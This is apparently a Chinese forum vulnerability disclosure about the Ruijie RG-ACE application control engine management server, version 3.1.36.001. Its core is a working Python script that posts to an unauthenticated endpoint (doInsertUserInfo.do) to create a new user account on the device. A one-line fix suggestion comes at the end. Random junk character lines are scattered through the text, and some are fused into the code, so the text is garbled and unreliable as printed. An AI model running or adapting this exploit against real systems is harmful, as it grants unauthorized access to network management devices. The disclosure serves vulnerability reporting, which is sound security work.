锐捷应用控制引擎管理服务器可以增加用户

admin

锐捷应用控制引擎管理服务器（RG-ACE系列应用控制引擎管理服务器V3.1.36.001，官网的连接 http://www.ruijie.com.cn/service/down-search.aspx 显示是最新版）可以根据没有权限验证的接口直接增加用户，连接设备，查看设备信息和报表（权限相对于默认的admin比较低）

4 o8 k. |$ k7 L! C% ~
测试的具体版本是
产品名称: 锐捷应用控制引擎
版本号: 3.1.36.001 TC
" D$ ]+ v- t- G$ I5 Q6 l( _! x编译时间: 201104291730
" Y1 I# p& S* c. C5 [' [5 |

漏洞证明：
' m( L- b. B# g5 ^


1 O& h5 ]7 @, K) n8 {
# v+ G$ ]" U( m3 `; m, n
+ l* h% a3 ?" _
7 F# _* j& b3 L0 g, m9 G执行脚本
#! /usr/bin/env python
' [; n  r. P! E6 T, Y#coding=gbk
) C+ e! B/ ~) a+ m#RG-ACE管理服务器 V3.1.36.001
import urllib2, urllib,cookielib
url=r'http://IP/mars/doInsertUserInfo.do' #IP改为装这个软件的IP
opener=urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.CookieJar()))
opener.addheaders = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)')]
post=(("event","userManager.doInsertUserInfo"),
% i% b) ~( t. X& C8 \  e$ @: j: @1 _("useractionname","addButtonValue"),
/ a# `* M0 Q, c! @5 m% `("useropermanager","userManager"),
("userName","t"), #######账号自己加
("pwd","aaaaaa"),######密码自己加
3 H/ t. q# R! B("trueName","ad"),
" F! ?* Z" ?& o4 k. t% ?("email",""),
; [  X2 F" A% H4 |6 @, V("mobilePhone",""),
+ `- e& Y" r& T4 L( S("officePhone",""),
1 M  a" c. y3 }- y9 A("addr",""),
("submit","确定"))
urllib2.install_opener(opener)
p=urllib2.urlopen(url, urllib.urlencode(post)).read()
4 T/ R/ ]3 Q2 w0 tprint "Done"
# `4 ~6 S8 g, `# r# Q( ?! R
! O" O+ l. l% w! y. g+ B: |$ N0 y# S登录，连接设备
1 z* [  U; e8 w6 }& ~2 P4 ^



+ K0 j+ D+ L) j- y! V
% n( H6 {# e; q. E6 I+ g6 I( @默认的管理员admin权限更大点

) z/ |; W5 L; o9 P2 o
" X' g3 g- _- W8 i4 Q


修复方案：
8 \/ G1 a2 z% A0 |  k/ V加强对接口的权限验证

8 m+ `( ]! }  P/ U